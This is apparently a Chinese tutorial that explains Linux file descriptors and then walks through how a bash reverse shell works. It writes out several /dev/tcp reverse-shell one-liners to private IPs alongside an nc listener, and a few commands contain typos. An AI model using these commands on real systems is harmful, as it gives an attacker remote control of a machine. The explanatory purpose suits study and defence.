提示:以下是本篇文章正文内容,下面案例可供参考
一、Linux文件描述符
1.文件描述符简介
文件描述符是一个非负整数,内核需要通过这个文件描述符才可以访问文件
文件描述符好比一本书的目录(索引),通过这个索引可以找到需要的内容
在Linux系统中内核默认为每个进程创建三个标准的文件描述符:0(标准输入)、1(标准输出)、2(标准错误)
通过查看 /proc/PID/fd 目录下的文件,就可以查看每个进程拥有的所有文件描述符
例如:查看当前shell的文件描述符
ll /proc/$$/fd
$$可以通过ps命令查看进程PID
二、Bash反弹Shell原理
1.什么是反弹shell?
被控端主动发起连接请求连接控制,通常被控制端由于防火墙限制、权限不足、端口被占用等问题导致被控端不能正常接收送过来的数据包。
被控端
bash -i >& /dev/tcp/192.168.81.154(控制端IP)/6666 (控制端想要开放的端口号)0>&1
bash -i
打开一个交互式的bash shell。
>&或者&>
>&、&>:混合输出(正确、错误的输出都输出到一个地方),将标准输出、错误输出全都重定
向到 /dev/tcp/HOST/PORT,即控制端
如果不想用>&或者&>,可以用:bath -i > /dev/tvp/192.168.81.154/6666 2>&1 0>&1
/dev/tcp
/dev/tcp/是Linux中的一个特殊设备文件(Linux一切皆文件),实际这个文件是不存在的,它只是 bash实现的用来实现网络请求的一个接口。打开这个文件就相当于发起了一个socket调用,建立一个socket连接,读写这个文件就相当于在这个socket连接中传输数据。
控制端
nc -lvvp 6666(控制端想要开放的端口号)
2.实现交互式shell
实现控制端和被控端之间的交互
1.把被控端的交互式shell输出重定向到控制端
bash -i > /dev/tcp/10.10.1.11/6666
把被控端执行的命令结果返回到控制端
实现了将被控端的标准输出重定向到控制端,但是还没实现用命令控制被控端。
获取 bash 进程 ID
ps -elf | grep "bash -i"
查看进程文件描述符
ll /proc/122027/fd
2. 把控制端的输入重定向到被控端的交互式shell
控制端
nc -lvvp 6666
被控端
bash -i < /dev/tcp/192.168.81.154/6666
实现了将控制端的输入重定向到被控端,但是控制端看不到命令执行结果。
获取bash进程ID
ps -elf|grep "bash -i"
查看进程文件描述符
ll /proc/19184/fd
标准输入文件描述符0索引到 socket:[3968935]
3. 结合两条语句,实现交互式命令行
bash -i > /dev/tcp/192.168.81.154/6666 0>&1
和之前的bash -i /dev/tcp/192.81.154/6666 多了0>&1,是为了把标准输出文件描述符 1 索引到 socket:[14209621],这样控制端就可以看到执行命令结果了
4. bash反弹shell
bash -i &> /dev/tcp/10.10.1.11/6666 0>&1
bash -i > /dev/tcp/10.10.1.11/6666 0>&1 2>&1
>&、&>:混合输出(正确、错误的输出都输出到一个地方),将标准输出、错误输出全都重定
向到 /dev/tcp/HOST/PORT,即控制端
0>&1:将标准输入的读取对象设置为标准输出的输出对象,即将标准输入也重定向到
/dev/tcp/HOST/PORT,即控制端
获取 bash 进程 ID
ps -elf | grep "bash -i"
查看进程文件描述符
ll /proc/128123/fd
标准输入、输出、错误输出文件描述符0、1、2 索引到 socket:[14298097]